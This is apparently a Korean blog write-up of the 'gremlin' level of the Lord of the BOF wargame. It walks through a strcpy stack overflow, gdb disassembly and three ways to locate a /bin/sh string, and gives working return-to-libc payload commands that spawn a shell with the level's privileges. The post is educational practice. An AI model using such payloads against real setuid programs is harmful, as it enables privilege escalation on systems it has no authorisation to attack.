LOB gate => gremlin

c0wb3ll ㅣ 2020. 3. 13. 19:12

LOB gate => gremlin

드디어 FTZ를 끝내고 LOB에 입성하게 되었다. 기초지식이 너무 드문드문 있었기 때문에 해쿨핸드북을 다시 읽고 왔다 ㅎ;;; 역시 기초를 다지는게 제일 중요한 것 같다.

                                            _______________________
  _______________________-------------------                       `\
 /:--__                                                              |
||< > |                                   ___________________________/
| \__/_________________-------------------                         |
|                                                                  |
 |        The Lord of the BOF : The Fellowship of the BOF, 2010    |
 |                                                                  |
 |                                                                  |
  |       [enter to the dungeon]                                    |
  |       gate : gate                                                |
  |                                                                  |
  |       [RULE]                                                     |
   |      - do not use local root exploit                             |
   |      - do not use LD_PRELOAD to my-pass                          |
   |      - do not use single boot                    [h4ck3rsch001] |
  |                                              ____________________|_
  |  ___________________-------------------------                      `\
  |/`--_                                                                 |
  ||[ ]||                                            ___________________/
   \===/___________________-------------------------- 

login : 

소스 코드

[gate@localhost gate]$ cat gremlin.c 
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - gremlin
    - simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
[gate@localhost gate]$ 

음 왜인진 모르겠지만 LOB에 bash에서는 \xff를 인식하지 못한다고 하여 bash2로 바꾸어서 진행해주었다. 처음에 이부분을 몰라서 잉? 뭐가 틀렸지 하면서 많이 애먹었었다.

일단 소스코드의 동작 과정을 보자.

  1. buffer의 크기는 256이다.
  2. 인자가 2개보다 적으면 에러를 출력하고 종료한다.
  3. buffer에 인자를 넘긴다.
  4. buffer를 출력한다.

취약점

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
  1. 버퍼에 크기는 256
  2. 입력한 인자를 버퍼에 복사해가는데 이 인자라는 자식이 선을 넘을 수 있음
  3. 메모리 변조 가능

기본적인 버퍼오버플로우 취약점이다.


풀이

[gate@localhost gate]$ gdb gremlin
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:    push   %ebp
0x8048431 <main+1>:    mov    %ebp,%esp
0x8048433 <main+3>:    sub    %esp,0x100
0x8048439 <main+9>:    cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave  
0x8048483 <main+83>:    ret    
0x8048484 <main+84>:    nop    
0x8048485 <main+85>:    nop    
0x8048486 <main+86>:    nop    
0x8048487 <main+87>:    nop    
0x8048488 <main+88>:    nop    
0x8048489 <main+89>:    nop    
0x804848a <main+90>:    nop    
0x804848b <main+91>:    nop    
0x804848c <main+92>:    nop    
0x804848d <main+93>:    nop    
0x804848e <main+94>:    nop    
0x804848f <main+95>:    nop    
End of assembler dump.
(gdb) 

일단 gdb로 디스어셈블 해보았다.

buffer의 시작부분은 ebp-256이니 다음과 같이 익스코드를 짜면 될 것 같다.

buffer[256] + sfp[4] + ret(&system) + 'AAAA' + 인자(""/bin/sh" 문자열)

[gate@localhost gate]$ gdb tremlin 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set disassembly-flavor intel
(gdb) b*main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/gate/tremlin 

Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) 

system 주소는 0x40058ae0이었다.

/bin/sh문자열을 인자로 넘겨주는 방법은 여러가지가 있다. level11에서도 했지만 LOB로 넘어왔으니 다시 한번 여러 방법을 쓰고 다음 글부터는 편한걸로 1개만 하도록 하겠다.

1. 환경변수로 /bin/sh 문자열 등록하기

[gate@localhost gate]$ export bin="/bin/sh"
[gate@localhost gate]$ vi bin.c

#include <stdio.h>

int main() {
        printf("envfunc bin address is 0x%x\n",getenv("bin"));
        return 0;
}
~                                                                                                   
~                                                                                                   
~                                                                                                   
~                                             
[gate@localhost gate]$ gcc -o yremlin bin.c

환경변수 주소를 맞춰주기 위해 우리가 공격해야 하는 프로그램의 이름 길이와 환경변수를 구하는 프로그램의 이름 길이를 맞춰주었다. => 이렇게 해야 하는 이유는 아직도 모른다 누군가가 알면 알려주면 좋겠다.

[gate@localhost gate]$ ./yremlin 
envfunc bin address is 0xbfffff02

나의 경우에는 환경변수 주소가 0xbfffff02가 나왔다.

이제 정보를 종합하여 익스코드를 짜보면

[gate@localhost gate]$ ./gremlin `python -c "print 'A'*260 + '\xe0\x8a\x05\x40' + 'AAAA' + '\x02\xff\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@AAAA
bash$ id    
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ 

다음과 같이 성공적으로 쉘을 딸 수 있었다.


2. 프로그램으로 /bin/sh 문자열 구하기

#include <stdio.h>

int main() {
        int shell = 0x40058ae0;

        while(memcmp((void*)shell, "/bin/sh", 8))
                shell++;

        printf("/bin/sh address is 0x%x\n",shell);

        return 0;
}

다음과 같이 system주소부터 1씩 올려가며 /bin/sh 문자열을 찾을 수 있다. 만약 /bin/sh 문자열과 shell주소에 있는 값이 같으면 출력하는 프로그램이다.

[gate@localhost gate]$ ./rtl 
/bin/sh address is 0x400fbff9
[gate@localhost gate]$ 

프로그램을 통해 찾은 /bin/sh주소는 0x400fbff9였다.

[gate@localhost gate]$ ./gremlin `python -c "print 'A'*260 + '\xe0\x8a\x05\x40' + 'AAAA' + '\xf9\xbf\x0f\x40'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@AAAA廈@
bash$ id    
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ 

다음과 같은 방법으로도 성공적으로 쉘을 딸 수 있었다.


공유 라이브러리 이용하기

[gate@localhost gate]$ ldd gremlin
    libc.so.6 => /lib/libc.so.6 (0x40018000)
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[gate@localhost gate]$ 

ldd gremlin을 입력하여 gremlin파일의 공유라이브러리 정보를 보았더니 lib/libc.so.6였다. 프로그램을 실행할 때 이 공유 라이브러리가 메모리에 올라갈테니 이 메모리에서 /bin/sh문자열을 찾으면 되겠다.

[gate@localhost gate]$ objdump -s /lib/libc.so.6 | grep /bin
 e3ff0 20300073 68002d63 002f6269 6e2f7368   0.sh.-c./bin/sh
 e6580 302d6300 7368002f 62696e2f 7368002d  0-c.sh./bin/sh.-
 e6590 63007368 002f6269 6e2f7368 00746d70  c.sh./bin/sh.tmp
 e7960 21202257 6861743f 22002f62 696e2f73  ! "What?"./bin/s
 e7c20 62696e3a 2f757372 2f62696e 002d445f  bin:/usr/bin.-D_
 e81c0 30270020 090a002f 62696e2f 7368002d  0'. .../bin/sh.-
 e8770 62696e2f 63736800 2f62696e 2f736800  bin/csh./bin/sh.
[gate@localhost gate]$ 

다음과 같이 /bin/sh문자열을 찾을 수 있었다. /bin/sh문자열의 주소는 0xe3ff9이다. 이것은 상대적인 메모리 주소이기 때문에 실제 프로그램에서 올라가는 메모리를 계산해야 한다. 우선 상대적인 system()함수의 메모리 주소를 찾아보자.

[gate@localhost gate]$ objdump -d /lib/libc.so.6 | grep system
00040ae0 <__libc_system>:
   40aec:    e8 00 00 00 00           call   40af1 <__libc_system+0x11>
   40afc:    75 22                    jne    40b20 <__libc_system+0x40>
   40b14:    e9 5a 02 00 00           jmp    40d73 <__libc_system+0x293>
   40b4a:    79 f4                    jns    40b40 <__libc_system+0x60>
   40b6c:    0f 8c ec 01 00 00        jl     40d5e <__libc_system+0x27e>
   40b86:    7d 28                    jge    40bb0 <__libc_system+0xd0>
   40ba8:    e9 c6 01 00 00           jmp    40d73 <__libc_system+0x293>
   40bca:    79 f4                    jns    40bc0 <__libc_system+0xe0>
   40bf6:    7d 3a                    jge    40c32 <__libc_system+0x152>
   40bfd:    74 31                    je     40c30 <__libc_system+0x150>
   40c28:    e9 46 01 00 00           jmp    40d73 <__libc_system+0x293>
   40c3b:    0f 85 80 00 00 00        jne    40cc1 <__libc_system+0x1e1>
   40cc3:    7c 35                    jl     40cfa <__libc_system+0x21a>
   40cd1:    eb 0a                    jmp    40cdd <__libc_system+0x1fd>
   40cdb:    75 19                    jne    40cf6 <__libc_system+0x216>
   40cf4:    74 dd                    je     40cd3 <__libc_system+0x1f3>
   40cf8:    74 0a                    je     40d04 <__libc_system+0x224>
   40d51:    74 1a                    je     40d6d <__libc_system+0x28d>
   40d5c:    74 07                    je     40d65 <__libc_system+0x285>
   40d63:    eb 0e                    jmp    40d73 <__libc_system+0x293>
000d2518 <svcerr_systemerr>:
   d251f:    e8 00 00 00 00           call   d2524 <svcerr_systemerr+0xc>
[gate@localhost gate]$ 

system의 상대 메모리 주소는 0x00040ae0이다. 실제 gremlin을 실행했을 때 올라간 system함수의 주소는 0x40058ae0이다. 계산하는 방법은

실제 올라간 메모리 주소 - 상대 메모리 주소 + /bin/sh 문자열 주소

이 방식으로 계산하면 /bin/sh문자열의 주소를 얻을 수 있을 것 같다.

0x40058ae0 - 0x00040ae0 = 0x40018000

0x40018000 + 0xe3ff9 = 0x400fbff9 이다.

얻은 정보를 토대로 익스 코드를 짜보면

[gate@localhost gate]$ ./gremlin `python -c "print 'A'*260 + '\xe0\x8a\x05\x40' + 'AAAA' + '\xf9\xbf\x0f\x40'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@AAAA廈@
bash$ id    
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ 

성공적으로 쉘을 딸 수 있었다.


마치며

LOB를 처음 들어왔는데 FTZ와는 뭔가 다른것 같다. 괜히 좀 더 어려워 보이고 겁에 질린것 같은디 처음 보는 것에도 주눅들지 않고 분석부터 할 수 있도록 열심히 노력해야겠다.